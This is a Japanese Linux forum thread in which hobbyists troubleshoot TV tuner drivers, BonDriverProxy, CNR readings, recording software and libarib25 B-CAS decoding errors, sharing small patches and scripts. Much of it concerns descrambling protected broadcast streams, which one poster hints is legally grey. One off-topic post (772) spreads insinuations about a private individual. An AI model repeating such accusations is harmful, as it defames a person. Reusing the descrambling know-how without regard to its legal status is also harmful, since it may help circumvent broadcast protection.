FE_READ_SIGNTAL_STRENGTHのioctlを使うよりも DTV_GET_PROPERTYを使って DTV_STAT_SIGNAL_STRENGTH(かDTV_STAT_CNR)プロパティを読むようにするのがAPIv5のやり方 FE_READ_SIGNAL_STRENGTHの方は古いAPIなので
各ドライバ独自の形式で返してくる & 値がu16なので負値を返せない
(RSSI[dBm]は通常マイナスの値となるはず?) という問題があるよ
http://linuxtv.org/downloads/v4l-dvb-apis/FE_GET_SET_PROPERTY.html#frontend-stat-properties
0693login:Penguin
2014/09/21(日) 18:57:12.22ID:8glTzj28使えたようで良かったです
チャンネルスキャンの件に関しては、TVTest側でどう判定してるのか調べてみないとちょっとわからないですねー
>>689>>692
まだまだインタフェース固め自体が過渡期って感じなんでしょうか
linuxを普通にデスクトップマシンとして使ってる人やっぱり少ないでしょうし、
あんまりモンクが出てこなさそうなのも一因でしょうか…
>>692で教えていただいたパッチ当てて使ってみたら、>>691の問題は発生しませんでした
これはやはり、pt3_dvbの固有の問題みたいですね
DTV_STAT_CNRでちゃんとCNRが返って来るのもソース/実行結果両方から確認できました
あと、>>692の後者のリンクは読んでたんですが、DTV_STAT_CNRの項目に
---
FE_SCALE_DECIBEL - Signal/Noise ratio is in 0.0001 dB units.
---
てあるのは、やっぱり桁間違いですよね?
#DTV_STAT_CNRで返す場合は__s64なので1/10000でも表せる最大値の問題は無くなりますが…
0694login:Penguin
2014/09/21(日) 19:01:58.65ID:8glTzj28やはりまだ対応してないドライバが多いと言う事で、結局CNR取得方法の選択肢を増やしました(;´Д`)
confの設定名が、#GETCNRMODEに変わっています
0 : FE_READ_SIGNAL_STRENGTH / 1 : FE_READ_SNR / 2 : DTV_STAT_CNR
です
すみませんが、以前のconfの#USEREADSNRをこれに置き換えてください
0695login:Penguin
2014/09/21(日) 19:06:51.75ID:8glTzj28個人的にはPT3でDVBドライバ使うなら>>692のリンク先の物をお勧めします
#無事本家にマージされると良いのですが…
0696login:Penguin
2014/09/21(日) 20:16:44.50ID:bwPJwNB2statの報告については たしかに最近になって新インターフェースがv5に追加されてる
利用者がすくないせいで 最近になってアプリサイドから問題提起された感じじゃないのかな
だいたいlinuxのデスクトップ自体のシェアが1..2%で
その中でさらにDTVを見たい &ソース見て問題点を挙げる/改修する人の数は...
あとFE_SCALE_DECIBELの説明は桁間違いのはず;) 他のドライバも1/1000 dBで返してるので
0697login:Penguin
2014/09/21(日) 23:22:09.96ID:IdcCM2hP0698login:Penguin
2014/09/21(日) 23:22:23.11ID:1RikBqg5わざわざDBにアクセスせずとも、atq で次回録画時間がわかったので、
http://airwhite.net/?p=786
・・・を書き換えてみました。
http://pastebin.com/LjGPkeMc
foltia AL 4.0.2で一応動作確認
at キューに入ってる直近の日時まで75分以上差があればサスペンドします。
EPG更新を考慮して予定の1時間前には復帰します。
foltia ユーザでの実行を想定してます。
中でsudo しているので /etc/sudoers への NOPASSWD 設定が必要です。
このシェルをどのタイミングで起動するかが課題です。
流れ無視して申し訳ないです。
0699login:Penguin
2014/09/21(日) 23:59:17.48ID:gZdOl1WsBonDriverProxy + BonDriver_DVB.so + PX-S1UD が Ubuntu 14.01 で動きました。
http://blog.lwlv.net/archives/821
ドライバのビルドは上記の手順ほぼそのままでOKでした。
ただ、微妙に不安定な感じで、電源ON時にきちんと認識してくれないことが多いです。
ドライバ、PC、PX-S1UDどれの問題なのかは未確認です。
#GETCNRMODE=2でCNRが取れます。ドライバソース眺めても返している様ですし。
TVTestの表示が30dBぐらいで同じアンテナ線につないだBonDriver_LinuxPT(PT3)
でもそのぐらいです。WindowsのBonDriverは70-80とか表示するのですが何を
返しているのでしょうね?CNR*2だと合わないですが。
SetChannel() timeout: adapter4
PT3と比べるとチャンネル変更が遅く感じます。なにかもっさりした感じです。
チャンネル変更時にBonDriver_DVBがたまにtimeoutしたと上のエラーを表示します。
ただ、そういう場合でもTVTestのチャンネル変更は成功して映像は表示されます。
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L648
チャンネル変更が成功したかどうかを 250ms * 4 で最大1秒待っているのを * 8 の
2秒程度にするとtimeoutのエラーは表示されなくなりました。250ms * 4 は PT1DVB
の数値(tune.c)かな?と思いますがチューナーによってこの辺も微妙に違うのですね。
0700login:Penguin
2014/09/22(月) 03:35:08.27ID:RCw937p9(後でb25使おうにも使いようがない)っていう
去年くらいのfuse_b25のクソ仕様は継承されてるのですかね?
この問題が無ければ、挑戦してみたいんだけど。
recpt1でやってます。
0701login:Penguin
2014/09/22(月) 19:23:09.90ID:DJmrXEBdTVTestのチャンネルスキャンのタイムアウトは、TVTest内でのデッドロック由来みたいでした
TVTestはロックを取得してからイベントキューにチャンネル変更のリクエストを放り込みますが、
イベント処理スレッドでは、そのリクエストを処理する前に同じロックの取得待ちが発生する場合があります
こうなるとスキャンの待ち時間に関係なく必ずタイムアウトになるので、結果チャンネルスキャン失敗となるようです
TVTestのビルドスレは開発者の方も見てるみたいなので、報告しておきました
>>699
おお、よかった
チャンネル変更時の挙動は、チューナだけでなくドライバとかによっても異なりますね
PT3のchardev版では、受信できない周波数へのioctl(SET_CHANNEL)を行うと8秒ほど返って来なくなるので、
チャンネルスキャンにかなり時間がかかったりします
そう言う意味では、DVB版はチューナに合わせて調整しやすくて良いかもしれませんね
0702login:Penguin
2014/09/23(火) 21:08:12.24ID:4laAyCHMfoltia AL の予約時間はatq で、
録画有無はrecpt1プロセスの有無で、
変換有無はffmpegプロセスの有無で判定できる。
後の課題は映像配信中かどうかの判定。
これさえできればcronで定期的にこのスクリプトを走らせればsuspend運用が可能になるはず。
(必要なときの電源ONはWoLを想定)
DLNAで配信してるか否かは localhost:8200 にhttpアクセスすればわかるけど、
ApacheでWeb配信しているかどうかが判定できない・・・。
netstat で httpの ESTABLISH を見ればいいと思ったけど、
Webプレーヤーで視聴中でも表示されないですねぇ。。。
なんかいいアイデアありませんかね?
0703login:Penguin
2014/09/23(火) 22:12:40.53ID:Nn7+SBVJ一定時間sleepの前後で ifconfig eth0 の in と out を足して
一定以下なら rtcwake するのを動かしてる
再起動時には毎回手動だけど、vnc 上で
0704login:Penguin
2014/09/23(火) 22:21:28.22ID:4laAyCHM具体的にどんなコード書いてるか教えていただけないでしょうかm(__)m
再起動がVNCってのは intel vPro 付きのマシンでやってるってことですかね?
0705login:Penguin
2014/09/23(火) 23:30:54.94ID:Zj70CTberootじゃなくても良いし…
-r--r--r-- 1 root root 0 Sep 23 23:28 /proc/net/dev
grep eth0 /proc/net/dev | sed 's/ \+/\t/g' | cut -f11
0706login:Penguin
2014/09/24(水) 02:00:15.45ID:MOmElMpN0707login:Penguin
2014/09/24(水) 02:04:13.28ID:/s6jH7eY0708login:Penguin
2014/09/25(木) 09:03:47.25ID:vw+3DDLO>703
rtcwake は知らなかった。 元スクリプトもそうだけど、
sudo sh -c "echo〜 とやってて sh に対しての sudoers 設定が必要でした
sh を NOPASSWD実行させるのはセキュリティ的にアレと思ってたけど、これなら良いですね
>707
foltia AL の CentOS6.5のApache2.2 には標準で読み込まれてるので
ディレクティブ設定すればstatus取れました。
でも、tcpdump してみてわかったけど、Web Playerは常時ストリーミング転送するわけじゃなくて
一定期間ごとに直近映像ブロックをhttpで転送してコネクションを切っちゃうので
有意な値を取れませんでした。。。
>705,706
助言いただいたように、eth0 の L2レイヤのデータ転送量とディスク活動量をみて
「なんとなく判断する」のが当面の解決策ですね。ありがとうございます。
「使用中」と判断するしきい値をどうするかがtry&error ですね。
>703 の事例を是非参考にさせていただきたく。。。
0709login:Penguin
2014/09/28(日) 01:17:03.47ID:kGukxwImhttp://deepntechnical.blogspot.jp/2014/07/raspberry-pipx-s1ud.html?m=1
これを参考にドライバを入れました
そこにBondriver proxy_linuxを実行したところチャンネル指定時に
SetChannel() timeout: adapter0
と表示され映像が映りません。
何が原因かわかったら教えていただきたいです。
0710login:Penguin
2014/09/28(日) 02:42:54.45ID:UKXPJ+IBstraceやdmesgの結果くらいは出して欲しい。
0711login:Penguin
2014/09/28(日) 09:27:31.12ID:r3Z8zE+Xの構成で昨日から作業してやって今手元で動いてる。ほぼ同じ構成ってことで。
uname -a
Linux mysv504 3.12.28+ #709 PREEMPT Mon Sep 8 15:28:00 BST 2014 armv6l GNU/Linux
そのエラーはチェンネル変更に失敗したら出る。
自分がやったけどファームの入れ忘れでも出る。
もちろんチャンネル番号が間違ってても出る
dmes | grep firmware で以下のエラーが出ていたらファームの入れ忘れ。
[ 5.452979] smscore_load_firmware_from_file: line: 1168: failed to open firmware file "isdbt_rio.inp"
ファームを入れたら再起動する。
どこからダウンロードするかとかダウンロード時の注意(wgetで失敗する)とか
どこに入れるんだとかは>>699のURLか以下が参考になる。ファームは32,64bitの
両方のディレクトリに入っているけどどっちでも同じ。
http://gametricks.blog40.fc2.com/blog-entry-81.html
Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
#GETCNRMODE=1でもほぼゼロしかならない。#GETCNRMODE=0は値が異常。
なので、CNRを取得する方法はなさそう。
というか Raspbian のカーネル3.12.28+で自分でビルドしたドライバをmodprobe
するとカーネルが落ちるんだけど問題ない?結局上のURLからたどれたsmsusb.koを
直接書き換える方法で使ってる。
http://anago.2ch.net/test/read.cgi/jisaku/1390977673/829
0712login:Penguin
2014/09/28(日) 09:50:14.80ID:r3Z8zE+Xdmesg | grep firmware
0713login:Penguin
2014/09/28(日) 12:29:54.62ID:smu24UAtファームの入れ忘れでした…
ありがとうございました!
0714login:Penguin
2014/09/28(日) 12:50:43.03ID:r3Z8zE+X> Raspbian(Debian)はDVB関係が古くて#GETCNRMODE=2でCNRは取得できない。
BonDriver_DVB.cpp のコンパイルエラーは /usr/include/linux/dvb/frontend.h が
Debianだと古くstruct dtv_property に struct dtv_fe_stats st メンバがないのが原因
なので、存在するファイル(例えば、Ubuntuとからファイルを持ってきて)を代わりに
includeすればコンパイル可能で値も取得できました。ただ、Ubuntuの場合と値が明らかに
違うので正しいかは不明です。
> #GETCNRMODE=1でもほぼゼロしかならない。
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main.c?v=3.12#L810
他のドライバでもこうなのかなあ?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L759
1/1000をやめると確かに値は帰ってきますね。
>#GETCNRMODE=0は値が異常。
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L764
サポートされていないとsignal=0になるようなので
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/develop/BonDriver_DVB.cpp#L245
signal>0 のガードを入れておくのが良いかなあと。
0715login:Penguin
2014/09/28(日) 13:01:32.83ID:r3Z8zE+X日本語が意味不明ですね。ioctl<0にならなくてsignal=0で帰ってくる
場合がある様だということです。
0716login:Penguin
2014/09/28(日) 15:35:26.51ID:znqq1d0S録画時間を超えてもrecpt1が終了せずチューナーを占有されて一部録画に失敗しました。
終了しなかったrecpt1の出力ファイルの最終更新は予定の録画終了時刻だったので、
終了しようとした形跡はあるようです。
どなたか原因わかる方いらっしゃいませんか。
0717login:Penguin
2014/09/28(日) 23:56:34.27ID:Weh/2lnJ> #GETCNRMODE=1でもほぼゼロしかならない。
ちょうど先週話題になった件ですね
FE_READ_SNRで取得できる値はドライバ毎に好きにやってて、精度が統一されていないようです
http://lxr.free-electrons.com/source/drivers/media/common/siano/smsdvb-main.c?v=3.12#L800
では、0.1dBって書いてありますね
なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません
現状では、#GETCNRMODEを2で使えるドライバでない限り、BonDriver_DVBが返す値は変な値になる
可能性がある、て事ですね
逆に、自分が使用しているチューナ用のドライバのソースから、返してきてる単位/精度がわかるなら、
BonDriver_DVB.cppの該当箇所をそれ用にいじって使うのが一番確実でしょうね
0718login:Penguin
2014/09/29(月) 07:09:29.84ID:DL/mCJ0i>なので、BonDriver_DVB.cppで1000で割ってるのを10に変えるとそれなりの値になるかもしれません
1/10で>>714で書いた#GETCNRMODE=2を有効にした場合と一致しました。
>ただ、Ubuntuの場合と値が明らかに違うので正しいかは不明です。
再確認したらそれなりに似た値でした。違うチャンネルで値を比較してそう思い込んでいました。
あまり電波状態の良くないアンテナ入力なのでチャンネル差が結構あるようです。
現時点のDebianでPX-S1UDを使う場合は、BonDriver_DVB.cppの以下を 1000 から 10 修正して
#GETCNRMODE=1 で使うのが良さそうですね。Ubuntuなら#GETCNRMODE=2でOKです。
自分で使うのは設定ファイルで倍率(1/10=0.1)みたいな感じで読むようにしとくかなあと思っています。
なんかいまいちな解決方法ですが
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/master/BonDriver_DVB.cpp#L728
0719login:Penguin
2014/09/29(月) 12:01:34.26ID:uB5gD6UGavconvが落ちて再生始まらないのはなんだろう?
SDは概ね再生出来るっぽくHD/FHDは大抵コケるっぽい(´・ω・`)
ちなみに録画したものは問題なく再生出来てる
0720login:Penguin
2014/09/29(月) 16:52:29.57ID:7oyx3tq2その番組の後の番組の時間変更(くり下げ、くり上げ)も対応してないのかな?
0721login:Penguin
2014/09/29(月) 17:53:07.86ID:kH+LeVtIここはchinachuのわりと致命的な欠点
0722login:Penguin
2014/09/29(月) 18:30:59.88ID:YY/0p21J0723login:Penguin
2014/09/29(月) 18:42:37.71ID:+otmu0ib0724login:Penguin
2014/09/29(月) 19:42:46.69ID:HBTrRVUB番組ごとに別ファイルで記録してくやつ
しょぼいスクリプトしか書けないが全録ソフトできたらプロジェクトの支援する
B25触らなければ純然たる合法ソフトだし(で、誰か、がコソーリ…w
0725login:Penguin
2014/09/29(月) 23:31:43.42ID:5wGIfjXB放送時間延長とかに対応するって見た覚えが・・・。
ライブ視聴も、現在の実装方法とは違う新たな方法で実現するらしい。
0726login:Penguin
2014/09/29(月) 23:38:58.07ID:8FKhSn8Oおかげで力士のケツを見なくて済んだw
あと MythTVもじゃないかな
他にも探せばあるんじゃないかな
0727login:Penguin
2014/09/30(火) 11:42:17.67ID:Xn4Wh5en0728login:Penguin
2014/09/30(火) 11:55:48.13ID:iwduFy7p0729login:Penguin
2014/10/01(水) 23:28:07.91ID:mSFbOiq9PX-W3U3はUSB接続の4チューナーモデルです。
$ cat /etc/redhat-release
CentOS release 6.5 (Final)
$ uname -a
Linux mysv502 2.6.32-431.29.2.el6.x86_64 #1 SMP
Tue Sep 9 21:36:05 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
・PX-W3U3に付属のACアダプタを接続しないとチューナーを半分しか
認識しません。まあこれはそういうものなのでしょうね。
・本家ドライバってどうやって使うのでしょうか?
http://www.plex-net.co.jp/product/pxw3u3_download.html
これに入っているas11usbdtv.koをinsmodすると/dev/as11usbdtv0
/dev/as11usbdtv1の2個しかデバイスファイルができません。
BonDriver_LinuxPTが想定しているデバイスファイル名とは違うので
修正が必要ですが修正して確認する気になれませんでしたので省略します。
以下、動作確認という名目でfoltiaからドライバファイル(pxw3u3.ko)を
借りてきて確認した結果です。
・デバイスファイルは/dev/pxw3u30-/dev/pxw3u33の4個作成されます。
・BonDriverProxy + TVTestでTVTest側でチャンネルを切り替えると
映像が表示される場合はあるのですが、フリーズする場合があります。
発生条件は明確ではないのですがチャンネル変更している内に突然という
感じです。1回目の変更でフリーズする場合もあります。フリーズすると
Pingにも応答しません。電源OFFするしかない状態です。何が原因かよく
分かりませんがうまく動作してくれないようです。
0730login:Penguin
2014/10/02(木) 01:55:32.81ID:cIllcodcLinuxじゃts抜きが出来るようなタイプじゃないと無理やろ
0731login:Penguin
2014/10/02(木) 02:27:28.79ID:oJZcKZhTついでにfoltiaのrecpt1で動作確認してみたら?
もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時でないとSET_CHANNELできないとかの可能性はあるかもね
マニュアルある訳じゃないからいろいろ試さないと実際どうなのかはわからないだろうけど
ただ、できないだけならともかくOSごと固まるのは、どう考えてもクソドライバ乙じゃないかなぁ
0732login:Penguin
2014/10/03(金) 00:45:19.36ID:bJNcwhax> ついでにfoltiaのrecpt1で動作確認してみたら?
確かにそうですね。再確認してみました。
・foltiaのrecpt1での確認
foltiaのrecpt1を使ってチャンネル変更、30秒録画を繰り返す
スクリプトを書いて実行してみました。特に問題なく動作します。
もちろん、OSもフリーズしません。
# recpt1
pt1dev=/dev/pxw3u30
chnos="101 103 141 151 161 171 181"
sec=30
rec=pt1
for ch in ${chnos}
do
log=${rec}_${ch}.trace
ts=${rec}_${ch}.ts
strace -o ${log} recpt1 --device ${pt1dev} ${ch} ${sec} ${ts}
done
・BonDriverProxyのsampleでの確認
同様にsampleでもチャンネル変更、30秒録画を繰り返すスクリプトを
書いて実行してみましたがこちらも問題なく動作します。
> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね
おお、まさにそういう感じがします。
0733login:Penguin
2014/10/03(金) 07:03:45.95ID:bJNcwhaxfprintfを追加しWindowsのTVTestからチャンネル変更して確認してみました。
fprintf(stderr, "ioctl(SET_CHANNEL) Start\n");
if (::ioctl(m_fd, SET_CHANNEL, &(g_stChannels[g_Type][dwChannel].freq)) < 0)
{
::fprintf(stderr, "SetChannel() ioctl(SET_CHANNEL) error: %s\n", g_Device);
goto err;
}
fprintf(stderr, "ioctl(SET_CHANNEL) End\n");
ioctl(SET_CHANNEL) Start
ioctl(SET_CHANNEL) End
ioctl(START_REC) Start
ioctl(START_REC) End
ioctl(SET_CHANNEL) Start
ここでフリーズ。
> もしそれで大丈夫なら、ドライバの制限としてSTART_RECしてない時
> でないとSET_CHANNELできないとかの可能性はあるかもね
これです…。
しかし>>729みたいな文章でこの原因を推測できたことが驚きです。
とりあえず、SET_CHANNEL前にSTOP_RECでも入れて状態を見てみれば
良いのかな。
0734login:Penguin
2014/10/03(金) 19:03:54.12ID:Q+yXHr/Nこんな感じでどうでしょう?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/commit/632043b252f069900ef615fab691e450cbdbdf11
0735login:Penguin
2014/10/05(日) 12:44:49.40ID:/R6zBrak修正を適用した所、快調に動作しています。
なるほど、TsReaderのスレッド止めてSTOP_RECするのが確実なのですね。
スレッドを止めずにSTOP_RECするだけの修正を自分なりに試していたの
ですがチャンネル変更後しばらくしたら突然フリーズしたりして不安定でした。
対応ありがとうございます。
後>>731の書き込みが非常に参考になりました感謝です。
0736login:Penguin
2014/10/05(日) 14:02:05.62ID:bjGIp0S3CPUの周波数はどれぐらいあればいいかな?
0737login:Penguin
2014/10/05(日) 14:33:07.43ID:vvB7mzx9ChinachuでH265にするメモサイトどこか忘れた
誰か知らない??
0738login:Penguin
2014/10/05(日) 21:02:00.04ID:k7rYE0OR毎回、NHKの番組が尻切れになってしまうので5秒ほど長くしたい
0739login:Penguin
2014/10/05(日) 21:16:00.57ID:YiWRrpw5エンコ時間にこだわりなけりゃCPUはなんでもOKとしか・・・
0740login:Penguin
2014/10/05(日) 22:12:28.78ID:R7okN6gm0741login:Penguin
2014/10/06(月) 03:15:35.28ID:B/4mJ+b9githubのwikiにconfig.jsonの仕様書が
あるので読もう
0742login:Penguin
2014/10/06(月) 07:13:23.72ID:HBWXiK3L0743login:Penguin
2014/10/06(月) 11:44:43.65ID:AQoSxgcQキュートじゃない…
0744login:Penguin
2014/10/06(月) 13:31:49.30ID:WxUDWqpOまだまだだね
PPA対応でないのも不便だし
0745login:Penguin
2014/10/06(月) 18:04:32.94ID:L+ondwPzと思って避けてたけど、試してみたら思いの外良かった
0746login:Penguin
2014/10/06(月) 19:18:06.00ID:lkHPONQc0747login:Penguin
2014/10/06(月) 22:36:03.46ID:ExHJ9qRs〉avplay version 0.8.16-4:0.8.16-0ubuntu0.12.04.1, Copyright (c) 2003-2014 the Libav developers
〉 built on Sep 16 2014 18:33:49 with gcc 4.6.3
〉【新】ガンダムGのレコンギスタ 初回1時間スペシャル #01,#02【字】_10040235_3630.ts: Invalid data found when processing input
というエラーが出るってことは、致命的に録画失敗しているよな?
これどういう状況なんだろう?
ほか、いくつか失敗しているけど10/4深夜以前には無かった。
少し前にB-CASカードリーダーのエラーでワンセグしか再生できなくて
アンテナ線は点検したつもり
今回のものはb25コマンドでも
processing: 0.21% error - failed on ARIB_STD_B25::put() : code=-4
と出るんだけど、それが意味するものはわかんないや。
0748login:Penguin
2014/10/06(月) 23:32:48.80ID:w9ms6akSウチも似た現象が最近起きている。
pcscd関連アプデしてからおかしくなったような。
0749login:Penguin
2014/10/06(月) 23:49:16.13ID:ecIyvYShb25_decode failedと言われるとき
code=-4の場合:データが壊れている(=信号が弱すぎ)ためにデコードできない可能性あり。
checksignalして23db程度しか出ていない場合、配線やアンテナを見直す。
ttp://archive.side2.net/wiki/index.php?Computer/Linux/PT2
0750login:Penguin
2014/10/07(火) 00:12:45.22ID:i6osU41flibarib25に>>649のパッチ当ててみては?
0751login:Penguin
2014/10/07(火) 00:15:55.86ID:DdqDG/NF0752747
2014/10/07(火) 12:10:19.46ID:rELLa1S82年くらいの間、普通に録画できていたんだけど
安アパートのアンテナ設備自体が老朽化しているみたいで
数値は忘れたけど、20db切っている。
結局前回のトラブルは、B-CASカードのほうで
シグナルは弱いまま、また2ヶ月くらい普通に動いていた。
libarib25のパッチは、PC組み直すつもりでいたから
2枚挿しにするつもりで買ってあったPT2で
新規組んでから検討してみます。
B-CASカード読めない状態で録画したtsを
Atom330でb25コマンドで処理すると、すげぇ時間かかんの (;_;)
最低J1900狙いで、秋葉原行ってくる
空きの多いアパートだから
大家もアンテナ改修とか渋るんだろうしなぁ…
0753login:Penguin
2014/10/07(火) 13:01:02.50ID:osxhI4Fg0754login:Penguin
2014/10/07(火) 15:25:49.53ID:WGAZdd+hそこで大家が渋るなら「こんな糞アパート出ていく」って言えば折れるよ
0755login:Penguin
2014/10/07(火) 16:21:17.98ID:7fUFFLhcって思ってるかも
0756login:Penguin
2014/10/07(火) 17:48:43.90ID:2Al9nOX/0757login:Penguin
2014/10/07(火) 21:02:59.66ID:2ls49AqYhttp://www.forest.impress.co.jp/docs/news/20130712_607519.html
ここ読むとGPUでのエンコードって可能なの??
0758login:Penguin
2014/10/08(水) 11:59:21.66ID:zlF5Ypkm0759login:Penguin
2014/10/08(水) 12:22:56.37ID:XhFwurATつか、使ってみりゃいいじゃん。フリーなんだし
0760login:Penguin
2014/10/08(水) 12:26:30.15ID:kPI/r1y4キーワード特化ならChinach>foltiaAL
番組表からならChinachu>=epgrec>foltiaAL
ってのが俺の独断と偏見
0761login:Penguin
2014/10/09(木) 17:33:06.62ID:d4GZg+goできないのと、作成したルールから予約リストへの反映がなんか直感的じゃ
ないのがイマイチ。
前者はともかくとして、後者は、結局作ったルールでどの番組にマッチして
どういうスケジュールで録画されるのかがすぐにわからなくて辛い。
それとも使い方が間違ってるんだろうか…?
0762login:Penguin
2014/10/09(木) 18:01:10.89ID:d4GZg+goできないのと、作成したルールから予約リストへの反映がなんか直感的じゃ
ないのがイマイチ。
前者はともかくとして、後者は、結局作ったルールでどの番組にマッチして
どういうスケジュールで録画されるのかがすぐにわからなくて辛い。
それとも使い方が間違ってるんだろうか…?
0763login:Penguin
2014/10/09(木) 19:00:21.53ID:NMWxAa6pルール関連で不満があるというのは伝わるけど、イマイチ具体的な不満点が分からん。俺の理解力が足りないんだと思うが
0764login:Penguin
2014/10/09(木) 19:33:00.58ID:UO1PUdqY「このルールで検索」ってのが有れば助かるんだけどな。
0765login:Penguin
2014/10/09(木) 19:41:20.32ID:NMWxAa6pんで気がつくとちゃんと予約されてるw
スケジューラー実行のタイミングとかはgithubにある公式のwiki見ればあるんじゃね
0766login:Penguin
2014/10/10(金) 13:10:44.63ID:GZeqRxe1なんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz
ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。
今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
家族にとってハードル高そうな感じがするかな。
って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。
0767login:Penguin
2014/10/10(金) 20:16:36.96ID:aSbaMf5lなんかおかしいと思って調べてみたら、いつの間にかスケジューラのPIDファイルが
残ったままだった。そりゃ何回クリックしてもスケジューラは実行されないわなorz
ルール作成時のチャンネル名も、局名じゃなくてSIDベースになっててわかりにくい。
今はTvRockを家族と共用してるんだけど、なんとなくchinachuへ移行するのは
家族にとってハードル高そうな感じがするかな。
って、こんな所で文句言ってないで、コード書いてpull request投げろって
話なんだろうけど。
0768login:Penguin
2014/10/10(金) 20:37:37.73ID:Zg5iM30zこれは流行る悪寒
0769login:Penguin
2014/10/10(金) 20:38:22.41ID:Zg5iM30z0770login:Penguin
2014/10/12(日) 16:08:38.95ID:sZHmv5Uw挙動を調べたら、pcscdの起動が完了する前にB-CASカードを取ろうとしてlibarib25がこけて、生ストリーム吐くモードに移行してた。
しょうがないから、pcscd起動させてからカードが刺さってるかどうか調べるまで一秒待たせてみた。
パッチ↓
動作保証はしない(`・ω・´)
-------------
--- b_cas_card.c.orig 2014-10-12 15:46:34.290926326 +0900
+++ b_cas_card.c 2014-10-12 15:56:53.274764391 +0900
@@ -3,6 +3,7 @@
#include <stdlib.h>
#include <string.h>
+#include <unistd.h>
#include <math.h>
@@ -153,7 +154,8 @@
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;
}
-
+ sleep(1); // Dirty hack.
+
ret = SCardListReaders(prv->mng, NULL, NULL, &len);
if(ret != SCARD_S_SUCCESS){
return B_CAS_CARD_ERROR_NO_SMART_CARD_READER;
0771login:Penguin
2014/10/12(日) 23:17:41.47ID:O788uumeb25->put failed
b25_decode failed (code=-5). fall back to encrypted recording.
0772いぼっ
2014/10/13(月) 03:41:16.62ID:qKeJy4Y4http://wc2014.2ch.net/test/read.cgi/voice/1405767952/l50
お前らのんきにイベント行ってる場合じゃないぜ
身を守りたかったら99要チェック
あ?何だ109は?補足情報120 犯罪暴露か?131、132、135、136
こいつなんでこんなに書かれてるんだ?
160、161どうしたもんかね?本人じゃね? 34歳だと?236
おっと良妻賢母の学校か〜244 ,247そーなのか〜ほー
254このマットてのはグラウンドの住宅に面した金網に脈絡なく汚ねえ立てかけ方されてるやつじゃね?取りに来たやつ悪い奴ってことか。
256,304,326,339ほー 352,355,357マジかよ、こりゃ許せねーなー変○者?
371,373ストー○ーでもあるのか、ほー375,378,406,475ほー435,456,474人事の人大丈夫?
0773login:Penguin
2014/10/13(月) 12:32:50.11ID:/xMjmERjのスレの542さんに、ドライバモジュールのTsSplitterの問題点をレポートしていただきました
放送データの運用方法として、(おそらくレアではあるものの)仕様的には許されるパターンを見落としていたのが原因です
このパターンに遭遇すると、最悪ECM等を削除してしまう事になるので、コンテンツを復号できなくなったりします
(特に1サービス1チャンネルモードで使用している方は)お手数ですが更新お願いします(;´Д`)
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/commit/ec4c912bffd9c1b3816f618758577c79bb28442d
0774login:Penguin
2014/10/13(月) 22:43:59.14ID:S3wvP1yLlibarib25に>>770のパッチを当ててビルドしなおして試してみて。
0775login:Penguin
2014/10/14(火) 02:10:35.90ID:+6XljqJ6どっちかと言うと>>750だと思う
0776login:Penguin
2014/10/14(火) 17:54:53.79ID:jI+B29yuちなみにUbuntu12.04です。
0777login:Penguin
2014/10/15(水) 01:03:12.49ID:N7PyqqvMと思ってる
0778login:Penguin
2014/10/19(日) 14:22:26.48ID:dpigh9zz0779login:Penguin
2014/10/20(月) 04:47:00.38ID:IIqY1fSI0780login:Penguin
2014/10/20(月) 15:07:06.52ID:dJcUh1zAスケジューラーって手動でポチポチしてやらないとなんだな
毎週ポチポチは面倒だしcronとかで何とかして世話してみよう
0781login:Penguin
2014/10/20(月) 15:11:33.24ID:IIqY1fSI0782login:Penguin
2014/10/20(月) 15:34:41.30ID:IiDJJ9DH・EPGドリブン ←
0783login:Penguin
2014/10/20(月) 15:38:59.37ID:dJcUh1zAなにか重大な勘違いをしていたな
0784login:Penguin
2014/10/20(月) 15:45:09.52ID:IIqY1fSI>>765
0785login:Penguin
2014/10/22(水) 22:00:16.90ID:wvYesKch0786login:Penguin
2014/10/23(木) 13:18:09.32ID:yIjftr4D0787login:Penguin
2014/10/23(木) 14:24:08.42ID:cn1f0HiU0788login:Penguin
2014/10/23(木) 20:10:05.05ID:IEjuheIxお金は払ってるが映らね・・・
0789login:Penguin
2014/10/23(木) 20:16:44.18ID:zNHm17Hopcsc_scanしたらなんて出る?
0790login:Penguin
2014/10/23(木) 20:24:52.33ID:IEjuheIxpcsc_scanは
Japanese Chijou Digital B-CAS Card (pay TV)
とか出てるから動いている・・・と思う
0791login:Penguin
2014/10/23(木) 20:28:02.42ID:zNHm17Ho0792login:Penguin
2014/10/23(木) 20:32:00.84ID:IEjuheIx0793login:Penguin
2014/10/23(木) 20:37:13.57ID:zNHm17Hoいつ契約手続きした? テレビでは有料チャンネルも視聴できてた?
0794login:Penguin
2014/10/23(木) 20:43:31.35ID:IEjuheIxテレビでは見れてました
契約済み信号を受け取るってことは、映らなくても二・三時間くらい受信させてやればいいのかな
0795login:Penguin
2014/10/23(木) 20:47:58.56ID:zNHm17Ho何だろう?
0796login:Penguin
2014/10/23(木) 20:51:14.65ID:RFH5Yplolinuxに挿してるカードが別物(非契約)というオチか?
0797login:Penguin
2014/10/23(木) 20:59:27.48ID:IEjuheIxどうやら間違ったものを刺してる訳でもないみたいです
とりあえず
recpt1 --b25 BS07_1 10800 test.ts --device /dev/pt3video1
とかやって放置してみます
0798login:Penguin
